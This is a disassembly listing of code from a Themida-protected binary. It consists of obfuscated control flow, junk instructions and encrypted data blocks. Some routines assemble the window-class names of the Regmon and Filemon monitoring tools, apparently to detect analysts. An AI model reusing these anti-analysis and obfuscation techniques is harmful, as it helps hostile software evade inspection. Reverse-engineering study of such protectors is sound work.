		dd 7E409h, 53501774h, 421B8h, 0ED858900h, 8D07E40Eh, 0E6E6F89Dh
		dd 5BD3FF07h, 8DC08B58h, 0E404059Dh, 0B038B07h,	7840FC0h
		dd 8B000000h, 45B8B03h,	41B81889h, 0E800004Bh, 6, 0EF7BC23Ch
		dd 0B8660F0Bh, 0B95E7607h, 6755B718h, 5A4CC681h, 81660000h
		dd 0BAEBA8D1h, 0
; ---------------------------------------------------------------------------
		jg	loc_5F83EA
		jmp	loc_5F83EA
; ---------------------------------------------------------------------------
		retn	6709h
; ---------------------------------------------------------------------------
		dw 0F35Dh
		dd 1F18C233h, 0E4D73DFEh
; ---------------------------------------------------------------------------
		mov	esi, [ebx]
; START	OF FUNCTION CHUNK FOR sub_5F841C


loc_5F83EA:				; CODE XREF: Themida_:005F83D0j
					; Themida_:005F83D6j ...
		push	dword ptr [edx+esi]
		and	ebx, 2BA3CD68h
		pop	edi
		xor	ch, 0A3h
		add	edi, 31D8A442h
		pusha
		add	ebx, 3B80EF7Ch
		pusha
		mov	cx, 0A1ECh
		call	sub_5F841C
		jnp	short near ptr dword_5F82DC+0F0h
; END OF FUNCTION CHUNK	FOR sub_5F841C
; ---------------------------------------------------------------------------
		dd 6C09598Fh, 295C8234h, 0A9DE07FEh

; =============== S U B	R O U T	I N E =======================================



sub_5F841C	proc near		; CODE XREF: sub_5F841C-13p

; FUNCTION CHUNK AT 005F83EA SIZE 00000026 BYTES

		pop	eax
		popa
		popa
		add	edi, 15DFD16Eh
		and	bl, 0C0h
		add	edi, 1071B172h
		mov	eax, ebx
		mov	[esi+edx], edi
		cmc
		sbb	ax, 0D23Ch
		sub	edx, 1
		jno	loc_5F8447
		pusha
		mov	ch, 53h
		cld
		popa


loc_5F8447:				; CODE XREF: sub_5F841C+20j
		dec	edx
		dec	edx
		dec	edx
		pusha
		mov	edx, 2E765561h
		mov	edi, edx
		popa
		cmp	edx, 0FFFFA664h
		jnz	loc_5F83EA
		push	eax
		add	ah, 1Ch
		pop	eax
		call	sub_5F8479
sub_5F841C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3Dh,	22h, 70h
		dd 5150BE21h, 26E8C3E9h, 0BC0451Ch
		db 0DEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5F8479	proc near		; CODE XREF: sub_5F841C+48p
		call	loc_5F8492
		pushf
		dec	dword ptr [ecx+eax*4+6434DED8h]
		and	al, 0FCh
		jmp	near ptr 0C6F2690Dh
sub_5F8479	endp

; ---------------------------------------------------------------------------
		mov	al, ds:90395096h


loc_5F8492:				; CODE XREF: sub_5F8479p
		js	loc_5F84AE
		jmp	loc_5F84AE
; ---------------------------------------------------------------------------
		pop	ds
		retn	0BDCCh
; ---------------------------------------------------------------------------
		db 0BFh, 0Fh, 75h
		dd 0A7B39804h, 0E01BD07Fh
		db 0BDh, 0EBh
; ---------------------------------------------------------------------------


loc_5F84AE:				; CODE XREF: Themida_:loc_5F8492j
					; Themida_:005F8498j
		pop	ecx
		pop	eax
		jmp	loc_5F84C0
; ---------------------------------------------------------------------------
		db 0B5h, 7Eh, 25h
		dd 0E952B6CEh, 7CBCDA8Eh
; ---------------------------------------------------------------------------


loc_5F84C0:				; CODE XREF: Themida_:005F84B0j
		add	eax, 0E811h
		mov	esi, ecx
		sub	edx, edx
		jmp	loc_5F84D8
; ---------------------------------------------------------------------------
		db 74h
		dd 84F8B25Dh, 0BBC9F42Fh
; ---------------------------------------------------------------------------


loc_5F84D8:				; CODE XREF: Themida_:005F84CAj
					; Themida_:005F8539j
		push	dword ptr [edx+eax]
		clc
		pop	edi
		mov	ch, ah
		sub	edi, 7F0B0CBCh
		xor	edi, 148F6489h
		jge	loc_5F8504
		jmp	loc_5F8504
; ---------------------------------------------------------------------------
		mov	ds:483859ACh, eax


loc_5F84FB:				; CODE XREF: Themida_:005F8555j
		xchg	dl, [esi-2B54D312h]
; ---------------------------------------------------------------------------
		db 31h,	91h, 0E1h
; ---------------------------------------------------------------------------


loc_5F8504:				; CODE XREF: Themida_:005F84EBj
					; Themida_:005F84F1j
		sub	edi, 2F0BCFFBh
		jmp	loc_5F851D
; ---------------------------------------------------------------------------
		db 6Dh
		dd 0E26EF24Bh, 0C9CB43B9h, 0E4896FC0h
		db 15h
; ---------------------------------------------------------------------------


loc_5F851D:				; CODE XREF: Themida_:005F850Aj
		mov	[eax+edx], edi
		jmp	loc_5F852A
; ---------------------------------------------------------------------------
		pop	ecx
		aam	5Fh
		mov	dl, 0F2h


loc_5F852A:				; CODE XREF: Themida_:005F8520j
		sub	edx, 2
		cld
		dec	edx
		dec	edx
		add	ch, 78h
		cmp	edx, 0FFFF18D0h
		jnz	loc_5F84D8
		jno	loc_5F854E
		js	loc_5F854E


loc_5F854B:				; CODE XREF: Themida_:005F8553j
		add	bl, 4Ah


loc_5F854E:				; CODE XREF: Themida_:005F853Fj
					; Themida_:005F8545j
		push	ebp
		in	eax, dx
		std
		jnz	short loc_5F85B1 ; CODE	XREF: Themida_:005F85B9j
		jp	short loc_5F854B
		jbe	short loc_5F84FB
		imul	esp, esi, 0FD49BC56h
		or	[edx+25h], eax
		std
		outsd
		insb
		and	eax, 257AACFDh
		std
		add	bh, dh
		and	eax, 253BFCFDh
		std
		jmp	far ptr	25A8h:0B3FD25D9h
; ---------------------------------------------------------------------------
		db 0FDh, 90h, 10h
; ---------------------------------------------------------------------------


loc_5F857B:				; CODE XREF: Themida_:005F85E9j
		and	eax, 254C8FFDh
		std
		retf	256Dh
; ---------------------------------------------------------------------------
		dd 257A83FDh
		db 0FDh, 0E4h
; ---------------------------------------------------------------------------


loc_5F858A:				; CODE XREF: Themida_:005F85BDj
					; Themida_:loc_5F85ABj	...
		lock and eax, 253441FDh
		std
		db	26h
		setalc
		and	eax, 25A703FDh
		std
		iret
; ---------------------------------------------------------------------------
		dw 251Eh
; ---------------------------------------------------------------------------
		std


loc_5F859D:				; CODE XREF: Themida_:005F85F5j
		adc	eax, [edx+25h]
		std
		popf
		and	eax, 2295358Ah
; ---------------------------------------------------------------------------
		db 0A2h
		db 0D6h, 76h
; ---------------------------------------------------------------------------


loc_5F85AA:				; CODE XREF: Themida_:005F85DDj
		dec	edx


loc_5F85AB:				; CODE XREF: Themida_:005F85EDj
		jno	short near ptr loc_5F858A+1
		pop	esp
; ---------------------------------------------------------------------------
word_5F85AE	dw 4BBDh		; CODE XREF: Themida_:005F85B7j
; ---------------------------------------------------------------------------


loc_5F85B0:				; CODE XREF: Themida_:005F85C1j
		hlt
; ---------------------------------------------------------------------------


loc_5F85B1:				; CODE XREF: Themida_:005F8551j
		pop	esp


loc_5F85B2:				; CODE XREF: Themida_:005F85B3j
		pop	edx
		jp	short loc_5F85B2
		jnz	short near ptr loc_5F85DD+1
		jb	short near ptr word_5F85AE
		jnz	short near ptr loc_5F8551+1 ; CODE XREF: Themida_:005F85BBj
					; Themida_:005F85C3j ...
		jns	short near ptr loc_5F85B9+1
		jz	short loc_5F858A ; CODE	XREF: Themida_:005F85BFj
		js	short near ptr loc_5F85BD+1
		jnb	short loc_5F85B0
		jge	short near ptr loc_5F85B9+1


loc_5F85C5:				; CODE XREF: Themida_:loc_5F85C7j
		jz	short near ptr loc_5F85B9+1


loc_5F85C7:				; CODE XREF: Themida_:loc_5F85E1j
		jnp	short loc_5F85C5


loc_5F85C9:				; CODE XREF: Themida_:005F85CBj
		jz	short loc_5F8643
		jnp	short loc_5F85C9
		jnz	short near ptr loc_5F858A+1 ; CODE XREF: Themida_:005F85CFj
		jp	short near ptr loc_5F85CD+1
		jnz	short loc_5F8631 ; CODE	XREF: Themida_:005F85D3j
		jp	short near ptr loc_5F85D1+1
		jbe	short near ptr loc_5F85E3+1
		mov	fs:0A265DE75h, al ; CODE XREF: Themida_:loc_5F85E5j


loc_5F85DD:				; CODE XREF: Themida_:005F85B5j
					; Themida_:005F85DFj
		jnz	short loc_5F85AA
		jp	short near ptr loc_5F85DD+1


loc_5F85E1:				; CODE XREF: Themida_:loc_5F85E3j
		jnz	short loc_5F85C7


loc_5F85E3:				; CODE XREF: Themida_:005F85D5j
		jnp	short loc_5F85E1


loc_5F85E5:				; CODE XREF: Themida_:005F85E7j
		jz	short near ptr loc_5F85D7+3
		jnp	short loc_5F85E5
		jz	short loc_5F857B
		mov	dl, 0F8h
		jnz	short loc_5F85AB
		sbb	dh, [eax-10h]
		test	[esi], ebx
		push	ss
		jb	short loc_5F859D
; ---------------------------------------------------------------------------
		db 0FFh
		dd 7D7C14EFh
		db 70h
; ---------------------------------------------------------------------------


loc_5F85FD:				; CODE XREF: Themida_:005F8655j
		lock cmp bl, [esi]
		push	ss
		jb	short loc_5F866F
		jmp	fword ptr [edi]
; ---------------------------------------------------------------------------
		adc	eax, 0F0707D19h


loc_5F860A:				; CODE XREF: Themida_:loc_5F8631j
		push	esi
		pop	ds
		push	ss
		jb	short near ptr loc_5F8643+1
		push	ebx
		adc	al, 0B5h
		jge	short loc_5F8685
		lock mov al, ds:1E72161Eh
		jmp	fword ptr [ebx]
; ---------------------------------------------------------------------------
		db 15h,	20h, 7Dh
		dd 1EABF070h, 0FF7B7216h, 7D921527h, 1850F070h
; ---------------------------------------------------------------------------
		push	ss


loc_5F8631:				; CODE XREF: Themida_:loc_5F85D1j
		jb	short loc_5F860A
		jmp	dword ptr [ebx]
; ---------------------------------------------------------------------------
		db 15h,	0C4h, 7Dh
		db 70h,	0F0h, 69h
; ---------------------------------------------------------------------------


loc_5F863B:				; CODE XREF: Themida_:005F8649j
		sbb	[esi], dl
		jb	short near ptr loc_5F867D+4
		call	fword ptr [edi]
; ---------------------------------------------------------------------------
		db 15h,	0Eh
; ---------------------------------------------------------------------------


loc_5F8643:				; CODE XREF: Themida_:loc_5F85C9j
					; Themida_:005F860Dj
		jge	short near ptr loc_5F86B2+3
		lock out 19h, al
		push	ss
		jb	short loc_5F863B
		call	fword ptr [ebx]
		adc	eax, 0F0707D57h
		xor	[ecx], ebx
		push	ss
		jb	short loc_5F85FD
		dec	dword ptr [edi]
		adc	eax, 0F0707D7Ch
		lock sbb [esi],	edx
		jb	short loc_5F86CF
		call	dword ptr [edi]
		adc	eax, 0F0707D19h
		and	ebx, [ecx]
		push	ss
		jb	short near ptr loc_5F86A3+1


loc_5F866F:				; CODE XREF: Themida_:005F8601j
		call	dword ptr [ebx]
		adc	eax, 0F0707DB5h
		inc	eax
		sbb	[esi], edx
		jb	short loc_5F8699
		dec	dword ptr [edi]


loc_5F867D:				; CODE XREF: Themida_:005F863Dj
		adc	eax, 0F0707D20h
		dec	esp
		sbb	[esi], edx


loc_5F8685:				; CODE XREF: Themida_:005F8613j
		jb	short loc_5F8702
; ---------------------------------------------------------------------------
		db 0FFh
		dd 7D9214FFh, 1974F070h, 0FFD77216h, 7DC414FBh
		db 70h
; ---------------------------------------------------------------------------


loc_5F8699:				; CODE XREF: Themida_:005F8679j
					; Themida_:005F86A9j
		lock jl	short near ptr loc_5F86B2+3
		push	ss
		jb	short loc_5F86E1
		push	edi
		adc	al, 0Eh


loc_5F86A3:				; CODE XREF: Themida_:005F866Dj
		jge	short near ptr loc_5F8713+2
		lock mov byte ptr [esi], 16h ; CODE XREF: Themida_:005F870Cj
		jb	short near ptr loc_5F8699+2
		dec	dword ptr [ebx]
		adc	eax, 0F0707D57h


loc_5F86B2:				; CODE XREF: Themida_:loc_5F8711j
					; Themida_:loc_5F8643j	...
		xor	eax, 0A672161Eh
		inc	dword ptr [edi]
		adc	eax, 0F0707D7Ch
		int	1Fh		; (NOT a vector!) GRAPHICS SET 2
					; pointer to bitmaps for high 128 chars	(eight bytes per character)
		push	ss
		jb	short loc_5F872F
		inc	dword ptr [ebx]
		adc	eax, 0F0767D19h
		in	al, 5Dh
		sbb	[edx+35h], esi


loc_5F86CF:				; CODE XREF: Themida_:005F8661j
		push	dword ptr [esi+767DB514h]
		lock rcl byte ptr [esi+19h], cl
		jb	short near ptr loc_5F86F7+2
		push	dword ptr [edx-6382DFECh]


loc_5F86E1:				; CODE XREF: Themida_:005F869Dj
		mov	dh, 0B0h
		icebp
		adc	[ebp+75FD7AF2h], ebx
		and	edi, ebx
		pop	ss
		sub	bl, dh		; CODE XREF: Themida_:loc_5F872Fj
		xchg	eax, ecx
		cli
		and	eax, 0FDF53FD5h
		lodsd


loc_5F86F7:				; CODE XREF: Themida_:005F86D9j
		xor	[esi+ebx*4-48CBDD70h], bl
		iret
; ---------------------------------------------------------------------------
		db 7Ah
		db 0ACh, 23h
; ---------------------------------------------------------------------------


loc_5F8702:				; CODE XREF: Themida_:loc_5F8685j
		mov	bh, 29h
		lodsd
		and	[edx], bl	; CODE XREF: Themida_:005F8707j
		jp	short near ptr loc_5F8705+1
		jnz	short loc_5F8784
		daa
		jl	short near ptr loc_5F86A5+1
		cmp	al, 18h
		push	ss


loc_5F8711:				; CODE XREF: Themida_:005F876Fj
					; Themida_:005F8779j
		jb	short near ptr loc_5F86B2+1


loc_5F8713:				; CODE XREF: Themida_:loc_5F86A3j
		jmp	fword ptr ds:0C87D7DC4h[edx]
; ---------------------------------------------------------------------------
		dw 1A46h
		dd 9CF7216h, 75E4C5B4h,	0BAF9B54Bh, 0EF863589h
; ---------------------------------------------------------------------------
		mov	dl, 14h
		push	edi


loc_5F872F:				; CODE XREF: Themida_:005F86C1j
		jge	short near ptr loc_5F86ED+1
; ---------------------------------------------------------------------------
		db 0FEh, 96h, 2Bh
		dd 7A2F7A45h, 35028AFDh, 0F7CC9E9Ch, 9185A748h,	0FCC6F8FAh
		dd 7E4B9D50h, 6FCF75FDh, 7A5E7645h, 35BA8AFDh, 0F7909E9Ch
		dd 91ABA748h, 0FCD1F8FAh, 23228A50h
; ---------------------------------------------------------------------------
		pop	ds


loc_5F8769:				; CODE XREF: Themida_:005F878Dj
		mov	esp, 152CF787h
		push	edi
		jge	short loc_5F8711
		sub	eax, 2CA32005h
		in	al, dx
		xchg	eax, edx
		insd
		ja	short near ptr loc_5F8711+1
		jp	short loc_5F87CA
		int	0C1h		; used by BASIC	while in interpreter
		jns	short loc_5F87D8
		mov	dh, [eax+31h]


loc_5F8784:				; CODE XREF: Themida_:005F8709j
		pushf
		sahf
		cmc
		sar	dword ptr [esi], 1
		popf


loc_5F878A:				; CODE XREF: Themida_:005F878Bj
		pop	es
		js	short loc_5F878A
		jnz	short loc_5F8769
		retn	0CD9Bh
; ---------------------------------------------------------------------------
		dw 5954h
		dd 0EFD0DE9Bh, 7D7C14B6h, 9208DE9Bh, 7AE57795h,	72F3360Bh
		dd 0EF866E88h, 7D5714B6h, 7954C54Dh, 31BA8AADh,	20909E9Ch
		dd 7E2BF69Bh, 1C277E9Bh, 6B1AB656h
		db 0FFh, 75h
; ---------------------------------------------------------------------------


loc_5F87CA:				; CODE XREF: Themida_:005F877Bj
		jns	short near ptr loc_5F87F4+1
		adc	eax, 0FD7ABE4Eh
		das
		mov	al, gs:59A57B89h


loc_5F87D8:				; CODE XREF: Themida_:005F877Fj
		cmp	eax, 0DF709491h
		cmc
		pop	es
		mov	edx, 0D183FE4Dh
		db	3Eh
		popf
		add	[ebx-3], bh
		jnz	short loc_5F8815
		xchg	eax, edx
		loope	loc_5F8865
		mov	esp, 844EA77Ah
		push	cs


loc_5F87F4:				; CODE XREF: Themida_:loc_5F87CAj
		adc	al, ch
		dec	ecx
		rcl	byte ptr [esi],	1
		test	eax, 75FCA77Fh	; CODE XREF: Themida_:005F881Bj
		retf
; ---------------------------------------------------------------------------
		db 8Ch
		dd 0FED74BEh, 7B1A26D3h, 207975FFh, 72BD360Bh, 0A0655488h
		db 89h
; ---------------------------------------------------------------------------


loc_5F8815:				; CODE XREF: Themida_:005F87E9j
		push	913D59A5h
		xchg	eax, esp
		jo	short near ptr loc_5F87F9+3
		cmc
		pop	es
		mov	edx, 85B5FF4Dh
		push	0FA91933Eh
		das
		pop	ds
		pop	edi
		std
		push	ecx
		fidiv	dword ptr [ecx+3Fh]
		adc	esi, ebp
		mov	ecx, 9285E94Dh
		mov	ebp, 4D7A9774h
		hlt
; ---------------------------------------------------------------------------
		dw 9261h
		dd 7AE57435h, 7AF22D15h, 5791DEFDh, 0CABC75FCh,	0CA9DDF60h
		dd 5BC7DF61h, 1C9775FCh, 1C4A1345h
; ---------------------------------------------------------------------------
		push	esi


loc_5F8861:				; CODE XREF: Themida_:005F8871j
		popf


loc_5F8862:				; CODE XREF: Themida_:005F8863j
		inc	ebx
		jnp	short loc_5F8862


loc_5F8865:				; CODE XREF: Themida_:005F87ECj
		jnz	short loc_5F8881
		dec	esp


loc_5F8868:				; CODE XREF: Themida_:loc_5F8881j
		std
		jnz	short loc_5F88E4
		sbb	al, 56h
		popf
		mov	dh, 7Bh
		std
		jnz	short loc_5F8861
		out	57h, eax
		mov	dh, 9Fh
		out	57h, al
		popf
		imul	edi, [edx-3], 0FCF32375h


loc_5F8881:				; CODE XREF: Themida_:loc_5F8865j
		jnz	short loc_5F8868
; ---------------------------------------------------------------------------
		db 8Ch
		dd 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h, 9EDEDFFDh,	84487DF9h
		dd 7A97AA15h, 0D056C5FDh, 7AE2CD3Eh, 0EF0D75FDh, 7D9214B2h
		dd 1BAAC070h, 8A5D7216h, 0D02C7F51h, 1BDCE002h,	92087216h
		dd 7AE574E5h, 79F8254Dh, 844B9D57h, 43548A02h, 0CA5E75FCh
		dd 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh, 851A8BE1h
; ---------------------------------------------------------------------------


loc_5F88E4:				; CODE XREF: Themida_:005F8869j
		wait
		int	0FDh
		dec	ebx
		wait
		ficom	word ptr [ecx+438A036Bh]
		retf	0DFA7h
; ---------------------------------------------------------------------------
		dw 22EEh
; ---------------------------------------------------------------------------
		push	edi
		mov	dh, 9Fh
		xchg	eax, edx
		push	edi
		and	bh, [edx+edx*4]
		or	al, 75h
		retf
; ---------------------------------------------------------------------------
		db 7Ah
		dd 5122FEA7h, 7E1AF63Fh, 8B917774h, 92438A00h, 7A5E7505h
		dd 79252D4Dh, 0FF69B657h, 7D201535h, 1A2DC87Dh,	0FF37216h
		dd 40FCF8ECh, 2ABB9E9Ch, 7A5C6115h, 781B9DFDh, 1A2775FDh
		dd 87759D57h, 0C30D8A02h, 0CA0D8A00h, 0F787DF9Ch, 7D571535h
		dd 1A96C87Dh, 0F2F7216h, 4012F8F1h, 2ACC9E9Ch, 7AE4DE15h
		dd 7E4AB6FDh, 857975FDh, 91DD3A68h, 0EDC3F8FAh,	0F0289E98h
		dd 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h, 0F1A875FDh, 0F9BB5E3Ah
		dd 78357115h, 31CB8A3Eh, 0CE289E9Ch, 0E96514Ah,	0CA74C1FFh
		dd 924E13F2h, 7AF275C9h, 7A279DAEh, 0F0E675FDh,	79BEB5FEh
		dd 7825B5F1h, 0EF68B657h, 7D2014B6h, 0FAEA917Dh, 7542F539h
		dd 0D12EDE9Bh, 85415A15h, 0BDD52F02h, 92ACB7D6h, 0B995FCF9h
		dd 7ACB7345h, 35708AFDh, 0F7F59E9Ch, 91185B60h,	39A0F8FAh
		dd 7A4ECD3Eh, 0EFD075FDh, 7D7C14B2h, 0F1CEB57Eh, 0EF1A8935h
		dd 7D1914B6h, 0B98E9757h, 8543BE15h, 7B1DFF02h,	8E5A72D9h
		dd 6C7F7677h, 8CB75FCh,	831DB616h, 0F1A78908h, 86BDF611h
		dd 7ABC9D9Dh, 0FB0475FDh, 914AD217h, 86EAFCFAh,	1B81CF7Dh
		dd 75E57216h, 7AF2EC79h, 7A73CDFDh, 0E84375FDh,	7DB514B2h
		dd 29ADFCBDh, 0F1909E9Ch, 179F835h, 85E29E9Bh, 91933E6Fh
		dd 3C7FFDFAh, 6D04801Fh, 795E75FDh, 914E267Fh, 0E01A35FAh
		dd 7D201392h, 0F3E1B67Eh, 644B22FEh, 797975FDh,	91DD2677h
		dd 27ECF8FAh, 89289E9Bh, 722F2B59h, 85CB75FDh, 91843A6Fh
		dd 7E0AF6FAh, 7C718589h, 7ABC7244h, 4B5A7DFDh, 0BBF7C3F2h
		dd 742E761Eh, 72CB75FDh, 765C44E1h, 72F275FDh, 61C044F9h
		dd 72BC75FDh, 66E744F9h, 722F75FDh, 5B7F44F9h, 0F3348A01h
		dd 0F1848980h, 0B93B8980h, 7A7F9DADh, 229C75FDh, 8E7A1102h
		dd 5E6BFCA5h, 3E16E905h, 2CB389D9h, 3A7867C9h, 7AF2B6ADh
		dd 7A7975FDh, 7ABC75FDh, 1AB2FEA8h, 7A2F7515h, 90162FFDh
		dd 7D201373h, 1BB2CF70h, 0F797216h, 7A71CCF5h, 0DE4F75FDh
		dd 7E9CBC9Ch, 0E7A226FDh, 7D7C14AAh, 7BD3497Dh,	83BE7188h
		dd 82A97716h, 96F2203Eh, 7ABC9D9Dh, 0FB0475FDh,	9149B217h
		dd 2D25F8FAh, 0F1CC9E9Ch, 725C7D80h, 89F275FDh,	0B8B01459h
		dd 0F7DC75F9h, 913F2240h, 0C3EF46FAh, 7A9775F5h, 0B9AADF0Eh
		dd 2D58F89Dh, 0FBF59E9Ch, 7B7874C2h, 0FBB000FCh, 7B5F7182h
		dd 795A74FCh, 82969E04h, 0F7ABB69Ch, 91842240h,	7AF3CDFAh
		dd 72C075FDh, 89BC75FDh, 0F19D1457h, 0F7EFFE3Dh, 91F61178h
		dd 8BD08AFAh, 16EBCAh, 4 dup(0)
		dd 1000000h, 5F401h, 6A07EB00h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 7BFC357h, 0C794F209h
		dd 0F0C17DBh, 66605690h, 5774F5B9h, 505B6159h, 6A90D88Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0FE80C356h, 6A6B18h, 59506057h, 50DA8166h
		dd 6A5F6182h, 0D1BD8B00h, 8D07E406h, 0EB686785h, 7D8D8B07h
		dd 9007E42Bh, 80BF5760h, 59762512h, 0BE9h, 0CA253200h
		dd 561EE1C7h, 0D78D38Fh, 60515061h, 8B66E18Ah, 905B61C3h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 7DC35242h
		dd 8B1EBCDCh, 0BB66023Dh, 6A698Dh, 6FD98166h, 81006ADFh
		dd 0A77E25CFh, 7195FF35h, 6007E424h, 3579958Bh,	0F18B07E4h
		dd 5DEE961h, 6A0000h, 3E856h, 5E200000h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_5F8CCD:				; DATA XREF: Themida_:00584640o
		pop	esi
		mov	[esp+4], esi
		add	dword ptr [esp+4], 14h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		push	ecx
		pusha
		mov	esi, [ebp+7E40A85h]
		mov	[ebp+7E431D1h],	edx
		popa
		add	[ebp+7E4017Dh],	ecx


loc_5F8CF2:				; DATA XREF: Themida_:005840D0o
		call	$+5
		pop	ebp
		sub	ebp, 7EB686Ch
		push	0
		push	ebp
		call	sub_5F8D09
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F8D09	proc near		; CODE XREF: Themida_:005F8D01p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5F8D09	endp

; ---------------------------------------------------------------------------
		pop	edi
		cli
		xchg	esp, [esi-46h]
		xchg	eax, esp
		and	[ecx+1CEB0EEFh], al
		aaa
		mov	bh, ch
		push	2270D7FEh
		mov	bx, ax
		xor	dword ptr [esp], 2270D85Eh
		mov	[ebp+7E41C45h],	ebx
		call	dword ptr [ebp+7E40E41h]
		push	0
		push	ebx
		call	sub_5F8D4E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F8D4E	proc near		; CODE XREF: Themida_:005F8D46p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5F8D4E	endp

; ---------------------------------------------------------------------------
		sahf
		fimul	dword ptr [edx+2DBD8BDCh]
		or	esp, esp
		pop	es
		lea	esi, [ebp+7EB6738h]
		mov	cx, 4C51h
		mov	dword ptr [esi], 6D676552h
		mov	[ebp+7E425D9h],	ebx
		mov	edi, ecx
		mov	dword ptr [esi+4], 6C636E6Fh
		push	0
		push	eax
		call	sub_5F8D92
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F8D92	proc near		; CODE XREF: Themida_:005F8D8Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5F8D92	endp

; ---------------------------------------------------------------------------
		adc	eax, 0DC6535F9h
		test	[ebx], dl
		rcl	dword ptr [edx], 1
		add	cx, 0FA30h
		mov	dword ptr [esi+8], 737361h
		push	0
		push	edi
		call	sub_5F8DC3
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F8DC3	proc near		; CODE XREF: Themida_:005F8DBBp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5F8DC3	endp

; ---------------------------------------------------------------------------
		and	eax, 8BB3C1B1h
		mov	ebp, 7E417C5h
		push	0
		push	0
		push	edx
		call	sub_5F8DEA
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F8DEA	proc near		; CODE XREF: Themida_:005F8DE2p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5F8DEA	endp

; ---------------------------------------------------------------------------
		dw 383Eh
		dd 89179C77h, 0E403458Dh, 38858D07h, 6A07EB67h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 535AC350h, 0F1160144h, 56C1A7F5h, 68D0Fh, 85310000h
		dd 7E41AC1h, 0F19D0B5Fh, 5007E417h, 0AE95250h, 92000000h
		dd 0FB87833Dh, 91865DE0h, 66310F68h, 5A471EB9h,	24048958h
		dd 19CD9D89h, 95FF07E4h, 7E42C35h, 0BFB0EA81h, 0C00B5DD1h
		dd 1B840Fh, 8B660000h, 3D4E9D9h, 820F0000h, 0Dh, 8E9h
		dd 9BDB9B00h, 44D16373h, 0A126685Fh, 0EE94929h,	85000000h
		dd 0B3B601E4h, 2D3E9505h, 88256831h, 24348105h,	4929A00Ah
		dd 95FFFBB5h, 7E40E41h,	0DE8h, 6E60BF00h, 819096E0h, 1AD20BF4h
		dd 8166F722h, 59FC7CC1h, 6738B58Dh, 6A07EBh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 808702C3h
		dd 2820FD2h, 0B1000000h, 3106C730h, 6A363438h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 9F91C357h, 858948CEh, 7E41925h, 6870Fh, 9D890000h, 7E4207Dh
		dd 370446C7h, 6A31342Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 9242C355h, 38D464E4h
		dd 958BF3BDh, 7E42D51h,	846C7h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8989C355h
		dd 0E40A19BDh, 6E807h, 52950000h, 1DBCB146h, 8C0F50h, 59000000h
		dd 6A006A59h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0FDB1C351h, 30B62CEBh,	950364CAh
		dd 7E42631h, 0DE85752h,	0F9000000h, 94919A12h, 96978E7Ch
		dd 63CB4D0Dh, 8D5B5B5Fh, 0EB673885h, 3BA6607h, 52509017h
		dd 0D98B6656h, 0E9310F5Bh, 7, 39F3A3E6h, 5ADF77A1h, 8E85058h
		dd 0B5000000h, 2DBA95F9h, 0BF4B1A75h, 1C074147h, 9D33905Bh
		dd 7E42D59h, 2C3595FFh,	0BD8B07E4h, 7E42EFDh, 0C5CED781h
		dd 0C00B7B96h, 45840Fh,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0E33005C3h, 1D9AD6F2h
		dd 0FD958960h, 0E807E41Ch, 8, 91079735h, 5AB9ABFFh, 61585A56h
		dd 241DB589h, 0D3E907E4h, 68000001h, 0F4A81A0h,	348196B7h
		dd 4A808C24h, 4195FF0Fh, 907E40Eh, 0E4333D9Dh, 0F605007h
		dd 8Fh,	0EE900h, 3DC50000h, 4133086Ch, 3684110Ch, 34D50029h
		dd 0B58D5B61h, 7EB6738h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 76C35141h, 0F741CCC6h, 6E64964Ch, 4606C75Ch
		dd 0B1656C69h, 446C763h, 636E6F6Dh, 6880Fh, 950B0000h
		dd 7E42C51h, 25BDB531h,	46C707E4h, 73616C08h, 51006A73h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0DA4B75E4h, 0EDF517h, 9D89ACE9h, 7E40E69h, 0AE8h, 0FA8F0700h
		dd 58763D57h, 66FB658Ah, 5B0701BAh, 0C46C7h, 0F000000h
		dd 586h, 95D9BB00h, 6A0E2Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 29C35343h, 9B4C6A95h, 0EE580AD2h
